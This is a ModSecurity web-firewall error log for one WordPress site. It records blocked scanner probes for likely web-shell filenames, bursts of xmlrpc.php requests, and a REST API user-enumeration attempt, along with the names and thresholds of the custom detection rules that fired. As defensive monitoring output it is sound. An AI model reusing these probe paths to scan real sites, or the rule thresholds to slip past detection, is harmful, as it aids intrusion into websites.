[Sun Dec 28 18:44:18.455564 2025] [:error] [pid 42294:tid 42361] [client 172.192.64.62:6596] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aVEKAtTE5kYcYCOzl9GuIwAAAIs"]
[Sun Dec 28 18:44:18.699924 2025] [:error] [pid 42294:tid 42364] [client 172.192.64.62:6676] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aVEKAtTE5kYcYCOzl9GuJAAAAI4"]
[Sun Dec 28 18:44:18.960404 2025] [:error] [pid 43789:tid 43791] [client 172.192.64.62:6733] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aVEKAga-tUppni4CcCYhXAAAAQA"]
[Sun Dec 28 18:44:19.191270 2025] [:error] [pid 43789:tid 43814] [client 172.192.64.62:6981] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aVEKAwa-tUppni4CcCYhXgAAARc"]
[Sun Dec 28 18:44:19.417294 2025] [:error] [pid 43789:tid 43798] [client 172.192.64.62:6762] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aVEKAwa-tUppni4CcCYhXwAAAQc"]
[Sun Dec 28 18:44:19.644701 2025] [:error] [pid 42378:tid 42399] [client 172.192.64.62:6960] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aVEKAzgtcN-KHAjWrX8I4QAAANM"]
[Sun Dec 28 18:44:19.891108 2025] [:error] [pid 42294:tid 42366] [client 172.192.64.62:6618] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pop.php"] [unique_id "aVEKA9TE5kYcYCOzl9GuJQAAAJA"]
[Sun Dec 28 18:44:36.009363 2025] [:error] [pid 42294:tid 42359] [client 172.192.64.62:6689] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aVEKFNTE5kYcYCOzl9GuPwAAAIk"]
[Sun Dec 28 18:44:36.236513 2025] [:error] [pid 29388:tid 29416] [client 172.192.64.62:6722] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aVEKFNoLv2L2zI_SpdXNlgAAAVQ"]
[Sun Dec 28 18:44:36.463187 2025] [:error] [pid 29388:tid 29415] [client 172.192.64.62:6734] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aVEKFNoLv2L2zI_SpdXNlwAAAVM"]
[Sun Dec 28 18:44:36.701011 2025] [:error] [pid 29436:tid 29460] [client 172.192.64.62:6708] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aVEKFLchzOOtNL9VPNLUmwAAAZU"]
[Sun Dec 28 19:02:52.850146 2025] [:error] [pid 42293:tid 42335] [client 34.11.90.210:60714] [client 34.11.90.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.11.90.210, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVEOXMvc9B-5cwN385LWkAAAAEw"]
[Sun Dec 28 19:02:56.360069 2025] [:error] [pid 42293:tid 42344] [client 34.11.90.210:60714] [client 34.11.90.210] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVEOYMvc9B-5cwN385LWlwAAAFU"]
[Sun Dec 28 19:02:58.591446 2025] [:error] [pid 42293:tid 42328] [client 34.11.90.210:60714] [client 34.11.90.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.11.90.210, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVEOYsvc9B-5cwN385LWmgAAAEU"]
[Sun Dec 28 19:03:00.804075 2025] [:error] [pid 29437:tid 29485] [client 34.11.90.210:56485] [client 34.11.90.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.11.90.210, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVEOZBhDotAbVk6pZLe0TAAAAdM"]
[Sun Dec 28 19:03:03.214924 2025] [:error] [pid 42292:tid 42316] [client 34.11.90.210:62520] [client 34.11.90.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.11.90.210, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVEOZ5yOrM_vaFx1osY-bgAAABQ"]
[Sun Dec 28 19:03:05.294795 2025] [:error] [pid 29388:tid 29408] [client 34.11.90.210:61459] [client 34.11.90.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.11.90.210, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVEOadoLv2L2zI_SpdXRvQAAAUw"]
[Sun Dec 28 19:03:07.528525 2025] [:error] [pid 29436:tid 29450] [client 34.11.90.210:62267] [client 34.11.90.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.11.90.210, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVEOa7chzOOtNL9VPNLbQAAAAYs"]
[Sun Dec 28 19:03:07.528807 2025] [:error] [pid 29436:tid 29450] [client 34.11.90.210:62267] [client 34.11.90.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.11.90.210, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVEOa7chzOOtNL9VPNLbQAAAAYs"]
[Sun Dec 28 19:09:30.772982 2025] [:error] [pid 42293:tid 42344] [client 74.225.194.11:43793] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bak.php"] [unique_id "aVEP6svc9B-5cwN385LZhgAAAFU"]
[Sun Dec 28 19:09:35.949757 2025] [:error] [pid 42378:tid 42390] [client 74.225.194.11:64093] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bak.php"] [unique_id "aVEP7zgtcN-KHAjWrX8O0wAAAMo"]
[Sun Dec 28 19:09:38.486030 2025] [:error] [pid 42378:tid 42393] [client 74.225.194.11:48268] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bak.php"] [unique_id "aVEP8jgtcN-KHAjWrX8O1QAAAM0"]
[Sun Dec 28 19:09:41.026121 2025] [:error] [pid 29388:tid 29417] [client 74.225.194.11:42815] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bak.php"] [unique_id "aVEP9doLv2L2zI_SpdXTowAAAVU"]
[Sun Dec 28 19:09:47.793664 2025] [:error] [pid 29388:tid 29399] [client 74.225.194.11:44319] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aVEP-9oLv2L2zI_SpdXTqAAAAUM"]
[Sun Dec 28 19:09:49.649868 2025] [:error] [pid 42292:tid 42305] [client 74.225.194.11:42770] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aVEP_ZyOrM_vaFx1osZABgAAAAk"]
[Sun Dec 28 19:09:50.641419 2025] [:error] [pid 29436:tid 29443] [client 74.225.194.11:17930] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aVEP_rchzOOtNL9VPNLeBAAAAYQ"]
[Sun Dec 28 19:09:54.520153 2025] [:error] [pid 29436:tid 29447] [client 74.225.194.11:40167] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aVEQArchzOOtNL9VPNLeCQAAAYg"]
[Sun Dec 28 19:09:56.243820 2025] [:error] [pid 42378:tid 42401] [client 74.225.194.11:47410] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aVEQBDgtcN-KHAjWrX8O4QAAANU"]
[Sun Dec 28 19:09:59.222671 2025] [:error] [pid 29437:tid 29485] [client 74.225.194.11:44818] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aVEQBxhDotAbVk6pZLe2pAAAAdM"]
[Sun Dec 28 19:10:01.331646 2025] [:error] [pid 42292:tid 42313] [client 74.225.194.11:17954] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aVEQCZyOrM_vaFx1osZACQAAABE"]
[Sun Dec 28 19:10:06.743842 2025] [:error] [pid 43789:tid 43791] [client 74.225.194.11:14993] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aVEQDga-tUppni4CcCYnrQAAAQA"]
[Sun Dec 28 19:10:11.787241 2025] [:error] [pid 29437:tid 29488] [client 74.225.194.11:43287] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aVEQExhDotAbVk6pZLe2sAAAAdY"]
[Sun Dec 28 19:10:18.713990 2025] [:error] [pid 42293:tid 42330] [client 74.225.194.11:43289] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aVEQGsvc9B-5cwN385LZzgAAAEc"]
[Sun Dec 28 19:10:22.639678 2025] [:error] [pid 29437:tid 29488] [client 74.225.194.11:42744] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aVEQHhhDotAbVk6pZLe2vQAAAdY"]
[Sun Dec 28 19:10:25.079058 2025] [:error] [pid 29437:tid 29468] [client 74.225.194.11:41122] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin2.php"] [unique_id "aVEQIRhDotAbVk6pZLe2vwAAAcI"]
[Sun Dec 28 19:10:45.083198 2025] [:error] [pid 29388:tid 29420] [client 74.225.194.11:43296] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "aVEQNdoLv2L2zI_SpdXT1AAAAVg"]
[Sun Dec 28 19:10:53.959664 2025] [:error] [pid 29436:tid 29439] [client 74.225.194.11:41905] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "aVEQPbchzOOtNL9VPNLeOgAAAYA"]
[Sun Dec 28 19:10:58.124313 2025] [:error] [pid 29436:tid 29456] [client 74.225.194.11:64861] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "aVEQQrchzOOtNL9VPNLePwAAAZE"]
[Sun Dec 28 19:11:01.269865 2025] [:error] [pid 29437:tid 29476] [client 74.225.194.11:44583] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-signup.php"] [unique_id "aVEQRRhDotAbVk6pZLe2zwAAAco"]
[Sun Dec 28 19:11:06.123657 2025] [:error] [pid 42292:tid 42303] [client 74.225.194.11:44569] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-signup.php"] [unique_id "aVEQSpyOrM_vaFx1osZAHgAAAAc"]
[Sun Dec 28 19:11:08.107125 2025] [:error] [pid 42378:tid 42385] [client 74.225.194.11:64163] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-signup.php"] [unique_id "aVEQTDgtcN-KHAjWrX8O_gAAAMU"]
[Sun Dec 28 19:11:12.465973 2025] [:error] [pid 42293:tid 42336] [client 74.225.194.11:64095] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-signup.php"] [unique_id "aVEQUMvc9B-5cwN385LZ1wAAAE0"]
[Sun Dec 28 19:11:17.208203 2025] [:error] [pid 29436:tid 29450] [client 74.225.194.11:47769] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell20211028.php"] [unique_id "aVEQVbchzOOtNL9VPNLeTgAAAYs"]
[Sun Dec 28 19:11:18.769665 2025] [:error] [pid 42378:tid 42392] [client 74.225.194.11:44854] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell20211028.php"] [unique_id "aVEQVjgtcN-KHAjWrX8PBAAAAMw"]
[Sun Dec 28 19:11:21.688889 2025] [:error] [pid 42294:tid 42351] [client 74.225.194.11:15023] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell20211028.php"] [unique_id "aVEQWdTE5kYcYCOzl9G0SAAAAIE"]
[Sun Dec 28 19:11:24.474233 2025] [:error] [pid 29436:tid 29449] [client 74.225.194.11:44805] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell20211028.php"] [unique_id "aVEQXLchzOOtNL9VPNLeWQAAAYo"]
[Sun Dec 28 19:11:27.504793 2025] [:error] [pid 29436:tid 29452] [client 74.225.194.11:44823] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-file.php"] [unique_id "aVEQX7chzOOtNL9VPNLeWwAAAY0"]
[Sun Dec 28 19:11:30.960108 2025] [:error] [pid 29436:tid 29455] [client 74.225.194.11:64186] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-file.php"] [unique_id "aVEQYrchzOOtNL9VPNLeXQAAAZA"]
[Sun Dec 28 19:11:35.870472 2025] [:error] [pid 29437:tid 29490] [client 74.225.194.11:47744] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-file.php"] [unique_id "aVEQZxhDotAbVk6pZLe22QAAAdg"]
[Sun Dec 28 19:11:42.622290 2025] [:error] [pid 42378:tid 42396] [client 74.225.194.11:17671] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aVEQbjgtcN-KHAjWrX8PEgAAANA"]
[Sun Dec 28 19:11:59.856709 2025] [:error] [pid 29437:tid 29482] [client 74.225.194.11:17685] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/widgets.php"] [unique_id "aVEQfxhDotAbVk6pZLe2-gAAAdA"]
[Sun Dec 28 19:12:01.988086 2025] [:error] [pid 42293:tid 42345] [client 74.225.194.11:43886] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/widgets.php"] [unique_id "aVEQgcvc9B-5cwN385LZ9gAAAFY"]
[Sun Dec 28 19:12:05.033856 2025] [:error] [pid 29437:tid 29485] [client 74.225.194.11:43885] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/widgets.php"] [unique_id "aVEQhRhDotAbVk6pZLe2_wAAAdM"]
[Sun Dec 28 19:12:06.380373 2025] [:error] [pid 42293:tid 42347] [client 74.225.194.11:45693] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/widgets.php"] [unique_id "aVEQhsvc9B-5cwN385LZ-AAAAFg"]
[Sun Dec 28 19:12:08.443377 2025] [:error] [pid 43789:tid 43796] [client 74.225.194.11:45638] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/web.php"] [unique_id "aVEQiAa-tUppni4CcCYn2wAAAQU"]
[Sun Dec 28 19:12:10.205700 2025] [:error] [pid 43789:tid 43791] [client 74.225.194.11:40120] [client 74.225.194.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/web.php"] [unique_id "aVEQiga-tUppni4CcCYn3QAAAQA"]
